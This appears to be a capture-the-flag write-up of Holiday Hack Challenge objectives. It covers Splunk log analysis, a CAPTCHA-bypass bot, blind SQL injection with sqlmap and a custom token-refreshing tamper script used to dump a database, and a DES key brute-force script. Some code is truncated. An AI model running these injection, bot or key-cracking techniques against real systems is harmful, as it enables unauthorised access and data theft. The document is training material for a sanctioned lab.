Kent said that my computer has been hacking other computers on campus and that I needed to fix it ASAP!"

If I don't, he will have to report the incident to the boss of the SOC.

The SOC folks at that link will help you along!

For hints on achieving this objective, please visit the Laboratory in Hermey Hall and talk with Prof. Banas.

SIEM Basics: The Elf U SOC can always use more analysts. No experience required, just a willingness to learn.

SIEM Basics TOO: The analysts stay in close contact on their private chat system. You'll find the help you need there.

SIEM Basics THREEE: The SOC uses some neat tools that James Brodsky spoke about in his KringleCon 2 talk: "Dashing Through the Logs"

Training Question Solutions

We login to Splunk with the provided credentials, and are greeted with some instructions about the challenge. The Elf University SOC has a secure chat service, where we get some tips from Kent and the SOC channel. In fact, the conversation in the #ELFU SOC channel gives us our first answer, sweetums.


Figure 18: 'sweetums' communicating with the same weird IP

We've identified the system, now we wish to know the file that was accessed. At this point, we start chatting with Alice Bluebird, who is the only other chat we have messages in. She gives us some resources, including links to the search and raw files that she tells us we'll need for the challenge question.

For the next training question, she gives us an example search (index=main cbanas), and tells us to modify it to search for his name. It's unclear which name she's referring to, but she just told us that the Professor is close with Santa, so searching index=main santa gives us a few logs. The first one is a Powershell script referencing an intriguing file: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt


Figure 19: Santa e-mailing Prof. Carl Banas the draft Naughty & Nice list

Alice mentions the download of a scanning tool. Using a search of: index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventDescription="File Created", we find a download of


Figure 20: file created

Our next task is to identify the C2 server. Alice gets us most of the way there, with the following search: index=main sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" powershell EventCode=3. We just need to identify the field that contains the FQDN of the server Powershell is connecting to. DestinationHostname seems like a good bet, and we find a single value there,


Figure 21: Identifying the C2 server

Alice walks us through most of the next question, finding events that happen shortly before and after the earliest Powershell invocation. Drilling down on Sysmon data (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"), we look at unique process IDs, and find two: 6268 and 5864. Alice prompts us to find what created those processes (using Event ID 4688), and reminds us that we might need to correlate process IDs in hexadecimal with process IDs in decimal.


Figure 22: Two process IDs

Alice provides us a link to search Event ID 4688 ("A new process has been created") on the Windows logs, while also removing the time constraint. We tweak her search to evaluate the hex process_ids to decimal so we can match them against our two process IDs. index=main sourcetype=WinEventLog EventCode=4688 | eval decimal_pid=tonumber(process_id, 16) | search (decimal_pid=6268 OR decimal_pid=5864)

This uses a function described in the YouTube video, to help us convert between hexadecimal and decimal, and then we search for the two process IDs we previously found.


Figure 23: WINWORD.EXE 19th Century Holiday Cheer Assignment.docm

We can tell that a macro-enabled Word document (with a .docm extension) spawned the Powershell instance.

For our next question, Alice gives us a search against the stoQ data, and tells us some additional constraints. We modify her search to add a constraint on the mail subject line (thus ignoring the replies):

index=main sourcetype=stoq "results{}.workers.smtp.subject"="holiday cheer assignment submission" | 
  table _time results{} results{}.workers.smtp.from 
              results{}.workers.smtp.subject results{}.workers.smtp.body | 
  sort - _time


Figure 24: 21 Holiday Cheer Assignment submissions

With what we know so far, the next question is pretty easy. To recover the password for the ZIP file (which contains the malicious Word document), we search the stoQ data for our filename: index=main sourcetype=stoq "19th Century Holiday Cheer Assignment.docm"

StoQ observed the e-mail (SMTP) transaction, in which Bradly Buttercups instructed Prof. Banas on how to open the file. In this same message, we see the sender of the malicious file, which has an e-mail that's not quite right. In this domain look-alike attack, instead of, the message comes from,


Figure 25: Password is 123456789, e-mail is (sic)

To review our training questions:

# Question Answer Method
1 What is the short host name of Professor Banas' computer? sweetums SOC chat
2 What is the name of the sensitive file that was likely accessed and copied by the attacker? C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt Searching 'santa'
3 What is the fully-qualified domain name(FQDN) of the command and control(C2) server? DestinationHostname on Alice's search
4 What document is involved with launching the malicious PowerShell code? 19th Century Holiday Cheer Assignment.docm Sysmon and Powershell process creation events
5 How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? 21 stoQ SMTP events
6 What was the password for the zip archive that contained the suspicious file? 123456789 stoQ SMTP events w/ malicious filename
7 What email address did the suspicious file come from? same stoQ event as question 6

Challenge Question Solution

What was the message for Kent that the adversary embedded in this attack?

Alice gives us some guidance on getting started, including a search with a single event to start from, and then a Splunk incantation to retrieve the path to artifacts from that file. We tweak her search a bit, to give us the URL of the files directly:

index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups " | 
eval results = spath(_raw, "results{}") | mvexpand results | 
eval path=spath(results, "archivers.filedir.path"), 
     filename=spath(results, "payload_meta.extra_data.filename"), 
     url="".path | 
search path!="" | table filename,url

There's a lot going on here. First, we start with the stoQ event from the malicious sender. stoQ has expanded our ZIP (the video says that at Elf U, stoQ will try to open ZIP files using a number of common passwords), and examined the files contained within. The results of that examination (and the links to where the files have been stored as artifacts) are contained in the event, in JSON format, under the results key.

To access each item in the list, we run eval results = spath(_raw, "results{}"). This will extract _raw["results"], and the results{} notation will cause Splunk to return an item for each result in the list.

For more information about this step, see spath: Using wildcards in place of an array index.

Next, we call mvexpand results, which will turn our "multivalue" field into separate events. This way, we treat each file contained in the archive as a separate Splunk event.

We have another eval function, to copy some values into fields that are easier to deal with. path=archivers.filedir.path and filename=payload_meta.extra_data.filename. We also create a new variable, url, which will have the direct path to the artifact on the elfu-soc S3 bucket.

We only want events from which an artifact was stored, so we specify search path!="", and finally we display this as a table of filename and url, allowing us to quickly drill down on the interesting files.

Our first target is the Word document itself, "19th Century Holiday Cheer Assignment.docm," but that file has been sanitized, as Alice wouldn't put actual malicious executable content into this exercise. In its place, we see:

Cleaned for your safety. Happy Holidays!

In the real world, This would have been a wonderful artifact for you to investigate, but it had malware in it of course so it's not posted here. Fear not! The core.xml file that was a component of this original macro-enabled Word doc is still in this File Archive thanks to stoQ. Find it and you will be a happy elf :-)

Using this hint, we grab core.xml instead, which contains:

<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<cp:coreProperties xmlns:cp=""
  <dc:title>Holiday Cheer Assignment</dc:title>
  <dc:subject>19th Century Cheer</dc:subject>
  <dc:creator>Bradly Buttercups</dc:creator>
  <dc:description>Kent you are so unfair. And we were going to make you the king of the Winter Carnival.</dc:description>
  <cp:lastModifiedBy>Tim Edwards</cp:lastModifiedBy>
  <dcterms:created xsi:type="dcterms:W3CDTF">2019-11-19T14:54:00Z</dcterms:created>
  <dcterms:modified xsi:type="dcterms:W3CDTF">2019-11-19T17:50:00Z</dcterms:modified>

With that, we find the answer to our challenge question:


Figure 26: "That's unfair. And we were gonna make you carnival king."

7. Get Access To The Steam Tunnels ๐ŸŽ„๐ŸŽ„๐ŸŽ„


Gain access to the steam tunnels. Who took the turtle doves? Please tell us their first and last name.

Have you played with the key grinder in my room? Check it out!

It turns out: if you have a good image of a key, you can physically copy it.

Maybe you'll see someone hopping around with a key here on campus.

Sometimes you can find it in the Network tab of the browser console.

Deviant has a great talk on it at this year's Con.

He even has a collection of key bitting templates for common vendors like Kwikset, Schlage, and Yale.

For hints on achieving this objective, please visit Minty's dorm room and talk with Minty Candy Cane.

Key Bitting: Optical Decoding of Keys

Bitting Templates: Deviant's Key Decoding Templates


After talking with Minty, we go to her room to check out the grinder. Someone is jumping around, and heads into her closet. There's a portrait of Einstein on the wall, and we suddenly feel like the eyes are moving, and someone is watching us from behind the wall! We try to follow the mysterious character into the closet, but they've disappeared! We notice something strange about the back wall, and clicking on it brings up a keyring and a Schlage lock.


Figure 27: "There's a guy in our closet."

Minty gave us a hint about the Network tab of the browser console. Turning to that now, we see our mysterious character in an image called "Krampus." Taking a closer look, we see a key hanging on their left side. Seems like we have a key to copy…

We start by downloading Deviant's Schlage key template, as this matches the lock in the closet. We crop Krampus to just the key, and rotate it to match. We resize the image to increase the pixels per inch, to make it a bit easier to work with.

Next, we load the template, line it up with the top and bottom of the key, and simply read off the depths:


Figure 28: "I followed him into the closet, down into the tunnels."

We use Minty's handy key-cutting machine to create this key, go into the closet, click on the keyring to choose the key, and then put it into the lock.


Figure 29: "But Iโ€™ve got to cut them, and that takes time."

After solving this objective we gain access to the steam tunnels via our badge. This makes getting around a lot easier.


Figure 30: "Iโ€™m gonna end up in a tunnel?"

8. Bypassing the Frido Sleigh CAPTEHA ๐ŸŽ„๐ŸŽ„๐ŸŽ„


In the tunnels behind and under Minty's completely normal closet, Krampus lays out the following challenge for us:

Bypass the CAPTEHA (elf CAPTCHA) and submit many entries in the Frito Sleigh contest

Tell you what โ€“ if you can help me beat the Frido Sleigh contest (Objective 8), then I'll know I can trust you.

The contest is here on my screen and at

No purchase necessary, enter as often as you want, so I am!

They set up the rules, and lately, I have come to realize that I have certain materialistic, cookie needs.

Unfortunately, it's restricted to elves only, and I can't bypass the CAPTEHA.

(That's Completely Automated Public Turing test to tell Elves and Humans Apart.)

I've already cataloged 12,000 images and decoded the API interface.

Can you help me bypass the CAPTEHA and submit lots of entries?

For hints on achieving this objective, please talk with Alabaster Snowball in the Speaker Unpreparedness Room.

Machine Learning: Machine Learning Use Cases for Cyber Security


We first investigate manually. The CAPTEHA is pretty difficult, and even tricks like messing with the client-side timer won't bypass the server-side time requirement.

Krampus has done a lot of the heavy lifting for us, in providing us training images for our machine learning model, and in writing a script to interact with the website. Chris Davis' talk from Alabaster's hint walks us through the rest, and even links us to a GitHub repo with some very useful code:


Figure 31: Video screenshot

To complete this objective, we need to train our model with the 12,000 images provided, and then combine a script from Chris with the script from Krampus.

To train our model, we follow the instructions in the repository README: python3 --image_dir ./training_images/. This takes a bit of time.

In order for Krampus' script to use the prediction model, we'll copy the necessary bits of code over. After a bit of hacking, our script looks like this, with the following code snippets in MISSING CODE… GOES HERE:

import base64
from img_rec_tf_ml_demo import predict_images_using_trained_model as predict
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
import numpy as np
import threading
import queue
import time
import sys

#### The following is shamelessly stolen from predict_images_using_trained_model.main:

# Loading the Trained Machine Learning Model created from running on the training_images directory
graph = predict.load_graph('/tmp/retrain_tmp/output_graph.pb')
labels = predict.load_labels("/tmp/retrain_tmp/output_labels.txt")

# Load up our session
input_operation = graph.get_operation_by_name("import/Placeholder")
output_operation = graph.get_operation_by_name("import/final_result")
sess = tf.compat.v1.Session(graph=graph)

# Can use queues and threading to spead up the processing
q = queue.Queue()

yourREALemailAddress = ""

This is just copying imports and load functionality from the ML script. We also make sure to provide our actual e-mail address.

#Going to interate over each of our images.
for image in b64_images:
    while len(threading.enumerate()) > 10:

    #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
    image_bytes = base64.b64decode(image['base64'])
    threading.Thread(target=predict.predict_image, args=(q, sess, graph, image_bytes, image['uuid'], 
                     labels, input_operation, output_operation)).start()

print('Waiting For Threads to Finish...')
while q.qsize() < len(b64_images):

#getting a list of all thread-returned results
prediction_results = [q.get() for x in range(q.qsize())]

final_answer = ','.join([p['img_full_path'] for p in prediction_results if p['prediction'] in challenge_image_types])

This is a bit more complicated than it needs to be, since we're using threading to speed up the process. All we're doing, though, is feeding the bytes from the image that Krampus' code downloaded to the prediction script from the video, and then submitting the result of the prediction.

We loop over all the images that the server sent, and then call predict_image on the base64-decoded image. predict_image will return the name of the image type (e.g. Stockings, Santa Hats). If the name is the list of types the server wants us to select (challenge_image_types), we add it to the list we'll be submitting.

After a bit, we're told that we won, and we receive an e-mail with our code!


Figure 32: You're a Winner!

9. Retrieve Scraps of Paper from Server ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„


Gain access to the data on the Student Portal server and retrieve the paper scraps hosted there. What is the name of Santa's cutting-edge sleigh guidance system?

Have you had any luck retrieving scraps of paper from the Elf U server?

You might want to look into SQL injection techniques.

OWASP is always a good resource for web attacks.

For blind SQLi, I've heard Sqlmap is a great tool.

In certain circumstances though, you need custom tamper scripts to get things going!

For hints on achieving this objective, please visit the dorm and talk with Pepper Minstix.

SQL Injection: SQL Injection from OWASP

SQLMap Tamper Scripts: Sqlmap Tamper Scripts


To start, we can visit the site and submit an application to get a feel for the site. Filling in the random data and submitting it, we get a message that our application was accepted. Submitting using the same email address again, we see a message that gives us an error indicating the the email address is probably a unique key in the database.


Figure 33: Duplicate Email

The fact that the site is displaying the failed SQL to us is a good indication it will be vulnerable to SQL injection. Using the email address again, we can also check our application status:


Figure 34: Application Pending

Playing around a bit manually, let's try a simple injection, by finishing the SQL command ); and commenting out the rest /*.


Figure 35: First SQLi attempt


Figure 36: Error Shows MariaDB

Well, it didn't work, however we did learn that the backend is using MariaDB. A quick Google search reveals three ways to make a valid comment. One of which is two dashes followed by a space:


Figure 37: SQLi with Correct Comment


Figure 38: Error: Wrong Number of Columns

Only problem now is our column count is off, any easy fix. We could add all the data we want in this field, but in this case it's easier to just submit it down below. Don't forget the added column for the application status:


Figure 39: Correct Column Count w/ Injection


Figure 40: Duplicate Key Again

Looks like we've got a valid query again, we just hit the duplicate email address. Let's try again with a different email and also change our application status to 'accepted'.


Figure 41: Attempt to Force an Accepted Application


Figure 42: Application Processed


Okay, that was fun, but it's time to get down to business. We opt to attack the application check form (since it's smaller) and by using the Network tab in our browser's console, we can view the query string parameters that is issued, and copy it as a CURL command:


Figure 43: The HTTP query parameters

The parameters have the submitted elfmail field, as well as an additional one, token. Poking around in the source code a bit, we notice the following Javascript snippet:

function submitApplication() {
function elfSign() {
  var s = document.getElementById("token");

  const Http = new XMLHttpRequest();
  const url='/validator.php';"GET", url, false);

  if (Http.status === 200) {
    s.value = Http.responseText;


Submitting the application is a two-step process: a request to validator.php, which returns a token, and the actual submission. Let's see if we can duplicate this behavior:

$ curl -s

That seems to match the token that was observed in the Network traffic. However, we notice that the token changes with almost every request (likely time based).

Pepper Minstix gave us a hint to use Sqlmap, which is easy to install (brew install sqlmap on MacOS). Needing the token certainly adds a wrinkle into it, though. Looking at the documentation, we can identify a few options which seem useful:

-u URL, --url=URL   Target URL (e.g. "")

--eval=EVALCODE     Evaluate provided Python code before the request (e.g.
                    "import hashlib;id2=hashlib.md5(id).hexdigest()")
--tamper=TAMPER     Use given script(s) for tampering injection data

We can update the token parameter with every request using --eval. We run the following Python code:

import urllib3

http = urllib3.PoolManager()

We can run it as one-liner on our sqlmap command with:

sqlmap -u "" \
--eval "import urllib3; http=urllib3.PoolManager(); \

However, since we were told we might need to use a tamper script we'll proceed down that path instead. It also makes the command line a lot easier to read. Looking through some of sqlmap's included tamper scripts it becomes clear we'll need to write a python script that defines a tamper function that passes along the current payload as an argument. We can either put that in the normal tamper directory or in its own directory along with an empty file.

First (Failed) Attempt:

import urllib3

def tamper(payload, **kwargs):
    retVal = payload

    retVal = payload + '&token=' + token
    return retVal
sqlmap -u "" \
--tamper elfutamper/

Okay, this didn't work and we need to figure out why. We could setup a proxy to see what traffic sqlmap is sending, but it turns out sqlmap comes with some great verbosity options. Using -v4 we can spot the problem:


Figure 44: SQLMAP Verbose Output

The PAYLOAD looks correct, but sqlmap clearly encoded it, including our '&token=' parameter. Conveniently, there's another good sqlmap option:

--skip-urlencode    Skip URL encoding of payload data

There's a catch. We need to keep '&token=' decoded, but encode the rest. We can handle that in our tamper script!

import urllib3
from urllib.parse import quote

def tamper(payload, **kwargs):
    retVal = payload

    retVal = quote(payload) + '&token=' + quote(token)
    return retVal

Using quote() we specifically URL encode the payload and the token, but leave our parameter name alone.

Our sqlmap command becomes this:

sqlmap -u "" \
--tamper elfutamper/ --skip-urlencode

There are a couple questions we'll need to answer (which you may have encountered already in previous attemtps):

[14:10:26] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS are you sure that you want to continue with further target testing? [Y/n]

Y. "You bet your a** I wish to proceed." –Theo

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

The default 'Y' is good because there's no reason to waste time.

GET parameter 'elfmail' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Good news! Our elfmail parameter is vulnerable, no need to continue. Sqlmap has conveniently saved this state for us, so further actions won't need to repeat the testing to find the vulnerable parameter again.

In fact, running the exact same command again just gives us the summary of our parameter and how it's vulnerable:


Figure 45: SQLmap Resume Details

Extracting the Database

Using our saved state and known vulnerable parameter we can continue using sqlmap to enumerate the names of existing databases and dump the data. A couple additional few options will be used.

  --dbs               Enumerate DBMS databases
  --dump              Dump DBMS database table entries
  -D DB               DBMS database to enumerate
  --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
sqlmap -u "" \
--tamper elfutamper/ --skip-urlencode --dbs --threads=4

The --dbs flag will enumerate the databases for us while --threads will just help make it go faster.


Figure 46: Available Databases

Looks like we have two databases: elfu and information_schema.

sqlmap -u "" \
--tamper elfutamper/ --skip-urlencode --dbs -D elfu --dump

We've added -D elfu as the database we want to dump data from and --dump to take that action.


Figure 47: Krampus Table Enumeration

Sqlmap spits out a lot of data as it enumerates the tables, but we caught those image names in the output. (If we had missed it, sqlmap will still store a copy in its local state.)

Those images can be directly accessed on the studentportal server:


Figure 48: Fixed Tooth Letter

Super Sled-o-matic.

We're not going to say that the background image looks like a giant tooth, but it totally does.

10. Recover Cleartext Document ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„


The Elfscrow Crypto tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. We can't send you the source, but we do have debug symbols that you can use.

Recover the plaintext content for this encrypted document. We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.

What is the middle line on the cover page? (Hint: it's five words)

On a completely unrelated note, digital rights management can bring a hacking elf down.

That ElfScrow one can really be a hassle.

It's a good thing Ron Bowes is giving a talk on reverse engineering!

That guy knows how to rip a thing apart. It's like he breathes opcodes!

For hints on achieving this objective, please visit the NetWars room and talk with Holly Evergreen.

Reverse Engineering: Reversing Crypto the Easy Way


For this objective, we found Ron Bowes's talk, "Reversing Crypto the Easy Way," to be quite informative.

We start by playing with the elfscrow.exe binary to see what it does. We downloaded a free test VM of Windows 10, not just because we don't have Windows installed, but it's always a good idea to execute "unknown" binaries in an isolated environment (though we do trust the HHC team). Running 'elfscrow.exe' the first time we can see a list of available options:


Figure 49: First run of elfscrow.exe

Well, we can't decrypt anything yet because we don't know the key, but perhaps encrypting our own file will lead to some information.


Figure 50: Elfscrow.exe –encrypt test

This gives us two very important pieces of information. First, the initial seed appears to be unix epoch time. If you run the process quickly in succession you'll get the same key. That doesn't mean it's the final seed, but it is a starting point. The second important point is that the key is only 8 bytes long. As a result of the 8-byte key, Ron tells us in his talk that there's a very good chance the encryption scheme uses DES.

Using the --insecure flag we can even see the secret ID being uploaded to the elfscrow server in clear text using Wireshark (just like the instructions warned us).


Figure 51: Elfscrow.exe key upload failure

In fact, if attempt to upload the same thing twice, you will get a rejection from the elfscrow server:


Figure 52: Elfscrow.exe key upload failure

At this point, we focus on a few specific goals:

Determine the seed

Determine the cipher and mode (if an IV is needed, what is it?)

How can we verify the encryption key is correct?

IDA Setup

For the next phase of the investigation we downloaded the free version of IDA. While loading the binary, IDA automatically detects the path where it's supposed to find the PDB debug file:


Figure 53: PDB file path

Since ours isn't in that location, we can just load the PDB file via the menu.


Figure 54: PDB file load in IDA

Strictly speaking we don't need the debugging information, but it's definitely easier when we can look for functions by name and see comments. Our goal is to figure out what happens when elfscrow.exe generates a new key, so we have to execute the program with the right options. IDA allows us to set those options:


Figure 55: Setting Process Options in IDA

We'll use the same options we used on the command line (–encrypt test.txt test.enc), but we haven't actually run the program yet.


Figure 56: Setting Process Options in IDA

Note that we aren't actually asking IDA to execute yet, just getting things ready.

Generate Key Function

Taking a quick look at the function names on the left we see generate_key right there! By clicking on the generate_key function name, IDA will bring up its process flow:


Figure 57: Locating the generate_key() function

Let's look at generate_key() a little closer.


Figure 58: generate_key() details

  1. This is definitely where we want to be. First we can see where the Our miniature elves... line is printed to the console like we saw in our sample runs.
  2. Here is the call to time() which gets stored in eax.
  3. Normally we'd probably see a call to srand(), but instead we see super_secret_srand(). Let's click on that and take a look.
  4. The last thing that happens before moving on is we set the local variable var_4 to 0. We'll come back to this later.


Figure 59: super_secret_srand() details

  1. Not a whole lot here, but we can see Seed = %d\n\n get printed. We expected this from the initial output as well.

Of note is that super_secret_srand() didn't actually call srand(), but it's possible we'll see it later in the key generation (hot tip: we don't). At this point we know generate_key() still has unix time as its seed and we're expecting to see a printf() for Generated an encryption key....

To help us follow the code path, we're going to set a breakpoint and actually execute the program so we can step through each instruction. Going back to the generate_key() function, we set a break point right after the call to super_secret_srand():


Figure 60: Set breakpoint after super_secret_srand()

The breakpoint was set by clicking on the line and then the breakpoint icon ida-breakpoint-icon.png.

Now, for the first time in IDA, we'll execute the program by hitting the little green 'play' triangle.


Figure 61: Execute program

The elfscrow.exe program will execute up to our breakpoint and stop.


Figure 62: Execute program to breakpoint

At this point we can step through the program using these buttons:


Figure 63: Step buttons

Various uses of the step ability are useful to see how variables change without getting too bogged down in things like calls to printf().


Figure 64: Key Generation Loop, Part 1

At the end of generate_key() it splits off into a loop.

  1. Remember when we set var_4 to 0? That is like setting i=0 and this cmp instruction is comparing var_4 (or i) to 8. jnb is just "jump if not below," or "jump if greater than or equal to."
  2. This is the real meat of the key generation loop and the next thing we'll look at.
  3. Continuing with our high level view, this is adding 1 to var_4. (ie, i++)
  4. After we do that 8 times, the comparison will jump here and return the generated key.


Figure 65: Key Generation Loop, Part 2

  1. A call to a super_secure_random() function that we'll dig into after this, but for now we just need to know that functions generally return their values into eax.
  2. al refers to the least significant 8 bits of eax and movzx 'zero extends'(pads) the value with zeros to the full register size (32bits). So this moves the last 8 bits of what super_secure_random() gave us into ecx. This is important to note because we are basically throwing away the other 24 higher bits.
  3. This instruction is doing a bitwise AND of ecx and the hex value 0xff (which is 11111111 in binary, so this also calculates the least significant 8 bits. This is redundant, and likely just a compiler inefficiency.
  4. We first load our function argument arg_0, and then add the number of iterations through the loop (what we've been calling i) to that.
  5. There's a difference between mov edx, cl and mov [edx], cl. When using square brackets, we're using edx as a pointer, and storing the value in the memory address it's pointing to.


In assembly, this looks very complex, but as we step through it, we realize all that's happening is:

void generate_key(char* key)
    // Generates a key, and stores it in the function argument
    for ( i = 0; i < 8; i++ )
        key[i] = super_secure_random & 0x77;

Super Secure Random Function


Figure 66: Super Secure Random

  1. The debugging file references a global variable called state. That value has been copied into eax and here we multiply it by 0x343FD.
  2. Then we add 0x269EC3.
  3. At this point, we update our global variable with the new state, which we'll use during the next iteration.
  4. sar means "shift arithmetic right" and 0x10 (decimal 16) is how far to shift. Just how shifting a decimal number to the right one place (e.g. 30 -> 3) we divide by 10, shifting binary to the right one place is equivalent to dividing by 2. If we do that 16 times, it's the same as dividing by 2^16 (65536).
  5. This is a bitwise AND with 0x7FFF. (As it turns out, since we keep throwing away all but the last 8 bits each time through the loop, this instruction can be completely ignored. It's likely converting a signed integer to an unsigned one).

Ron suggested in his talk that Googling these values may turn up some additional information:

As it turns out, the two hex numbers we see are the "multiplier" and "incrementer" from the rand() implementation for Microsoft Visual C.

uint32_t state;

int rand() {
    state = state * 214013 + 2531011;
    return (state >> 16) & 0x7fff;

With this, while a bit complicated, we have all of the information we need to re-create the seed as long as we know what time the file was encrypted. As we know from the objective introduction, "We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC." That gives us 7200 possible seconds that could be the intial time.

Determining the Cipher

Next we need to focus on the cipher. Stepping through the program until generate_key() returns, we can see the call to CryptImportKey shortly after generate_key():


Figure 67: DES-CBC

Aha! We suspected the cipher was DES, but this comment helps confirm not only DES, but CBC mode.

What about the initialization vector (IV)? Taking another tip from Ron, we do a lot of Googling. It would appear that we'd normally expect a call to CryptGenKey() and the Microsoft documentation says:

"If keys are generated for symmetric block ciphers, the key, by default, is set up in cipher block chaining (CBC) mode with an initialization vector of zero."

Our generate_key() function replaced this and didn't include an IV either, so when reimplmenting it's safe to set the IV=0.

Validating the Key

At this point we can reimplement the encryption scheme, but we need a way to know if we got it right. Fortunately, we know the encrypted file is a PDF. We could decrypt the whole file and try to open it (7200 times), or run 'file' against it, but there's a faster way. If we decrypt just the first few bytes we can match it against the known file signature for a PDF.


#!/usr/bin/env python

from Crypto.Cipher import DES
import datetime
import sys

pdf_filename = 'ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf'

ciphertext_header = b'\x5d\xbd\xce\xdc\x49\x4a\x74\x43'

# A PDF always starts with:
plaintext_header = '%PDF-'

# We know that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.
start_time = 1575658800
end_time = 1575666000

def generate_key(seed):
    """This just implements the assembly we've discovered so far.

    Takes a seed, returns a key as a bytestring."""

    result = b""

    for i in range(8):  # cmp [var_4], 8; jnb exit
        seed *= 0x343FD     # imul eax, 343FDh
        seed += 0x269EC3    # add eax, 269EC3h
                            # mov state, eax
        eax = seed          # mov eax, state
        eax /= 2**16        # sar eax, 10h
        r = chr(eax & 0xff) # and eax, 7FFFh
        result += r    # mov [arg_0 + var_4], eax

    return result

def decrypt(key, ciphertext):
    """Decrypts a ciphertext string, and returns the result"""
    iv = b'\x00\x00\x00\x00\x00\x00\x00\x00'
    decryptor =, DES.MODE_CBC, iv)
    return decryptor.decrypt(key)

for i in range(start_time, end_time):
    if decrypt(generate_key(i), ciphertext_header).startswith(plaintext_header):
        # At least the first few bytes are correct, so we'll try to decrypt our file.
        with open(pdf_filename + '.enc') as ciphertext:
            with open(pdf_filename, 'wb') as plaintext:

        print("Successfully decrypted file (seed=%d), and saved to %s" % (i, pdf_filename))


Now that we have the decrypted PDF, it's time to take a look.

On page three we read the following which will be useful later:

The default login credentials should be changed on startup and can be found in the readme in the ElfU Research Labs git repository.

At this time we will also take a moment to point out a potential safety issue with the Super Sled-O-Matic (SSOM) installation instructions. The first suggested installation location is "Right side of sled under the flight abort ejector seat." As the large activation button on the SSOM needs to be held down for activation, there is a potential that someone reaching down could inadvertently activate the ejector seat. Especially if they are wearing a long sleeve coat with fluffy white cuffs.

11. Open the Sleigh Shop Door ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„


This objective instructs us to:

Visit Shinny Upatree in the Student Union and help solve their problem. What is written on the paper you retrieve for Shinny?

Visiting Shinny lays out our challenge:

Psst - hey!

I'm Shinny Upatree, and I* know what's going on!

Yeah, that's right - guarding the sleigh shop has made me privvy to some serious, high-level intel.

In fact, I know WHO is causing all the trouble.

Cindy? Oh no no, not that who. And stop guessing - you'll never figure it out.

The only way you could would be if you could break into my crate, here.

You see, I've written the villain's name down on a piece of paper and hidden it away securely!

Crack into the crate at, and retrieve the paper hidden therein.

Once we solve the iptables terminal, Kent tells us:

Oh thank you! It's so nice to be back in my own head again. Er, alone.

By the way, have you tried to get into the crate in the Student Union? It has an interesting set of locks.

There are funny rhymes, references to perspective, and odd mentions of eggs!

And if you think the stuff in your browser looks strange, you should see the page source…

Special tools? No, I don't think you'll need any extra tooling for those locks.

BUT - I'm pretty sure you'll need to use Chrome's developer tools for that one. (Chrome Dev Tools)

Or sorry, you're a Firefox fan? (Firefox Dev Tools)

Yeah, Safari's fine too - I just have an ineffible hunger for a physical Esc key. (Safari Dev Tools)

Edge? That's cool. Hm? No no, I was thinking of an unrelated thing. (Edge Dev Tools)

Curl fan? Right on! Just remember: the Windows one doesn't like double quotes. (Curl Dev Tools)

Old school, huh? Oh sure - I've got what you need right here… (Lynx Dev Tools)

And I hear the Holiday Hack Trail game will give hints on the last screen if you complete it on Hard.

For hints on achieving this objective, please visit the Student Union and talk with Kent Tinseltooth.

Chrome Dev Tools: Chrome Dev Tools

Firefox Dev Tools: Firefox Dev Tools

Safari Dev Tools: Safari Dev Tools

Edge Dev Tools: Edge Dev Tools

Curl Dev Tools: Curl Dev Tools

Lynx Dev Tools: Lynx Dev Tools

Completing the Holiday Hack Trail on hard reveals the following in the source code of the victory screen:

1 - When I'm down, my F12 key consoles me
2 - Reminds me of the transition to the paperless naughty/nice list...
3 - Like a present stuck in the chimney!  It got sent...
4 - We keep that next to the cookie jar
5 - My title is toy maker the combination is 12345
6 - Are we making hologram elf trading cards this year?
7 - If we are, we should have a few fonts to choose from
8 - The parents of spoiled kids go on the naughty list...
9 - Some toys have to be forced active
10 - Sometimes when I'm working, I slide my hat to the left and move odd things onto my scalp!


Visiting the site from Shinny, we see 10 locks. At the top, it says:

I locked the crate with the villain's name inside. Can you get it out?

Since our hints from the Holiday Hack Trail are numbered 1-10, we assume each one is a hint to the respective lock.

  • Lock 1: Console

    You don't need a clever riddle to open the console and scroll a little.

    When I'm down, my F12 key consoles me

    Hitting F12 brings up the Developer Tools (at least in Chrome, Firefox and Edge). Looking at the documentation from Shinny, we see that one of the functions of the Developer Tools is to access the Javascript console, which is mentioned in both the clue and the hint.

    Clicking on the Console tab shows us a green box with a code.


    Figure 68: At the console of an amazing, hand-built computer sits amazing Hopsfield.

    We can also get a few other hints from the webpage, if needed:

    Google: "[your browser name] developer tools console"

    The code is 8 char alphanumeric

  • Lock 2: Pulp on Dye

    Some codes are hard to spy, perhaps they'll show up on pulp with dye?

    Reminds me of the transition to the paperless naughty/nice list…

    This one is a bit less obvious. Some additional hints give us a pretty clear path:

    Most paper is made out of pulp.

    How can you view this page on paper?

    Emulate print media, print this page, or view a print preview.

    Again, reviewing the documentation, we see that there's a setting to emulate the CSS media as print. We use the Elements tab in Chrome, and from the Dev Tools settings (โ‹ฎ button in the upper right), we go to More tools -> Rendering and this brings up a new tab at the bottom of the screen. At the very bottom of this tab, there's the setting to change the CSS media:


    Figure 69: The piece of paper. It says, "I aced this."

  • Lock 3: Fetched Code

    This code is still unknown; it was fetched but never shown.

    Like a present stuck in the chimney! It got sent…

    If something was sent or fetched and never shown, the Network tab is an obvious target, similar to how we found the image of Krampus and the key. The additional hints confirm this:

    Google: "[your browser name] view network"

    Examine the network requests.

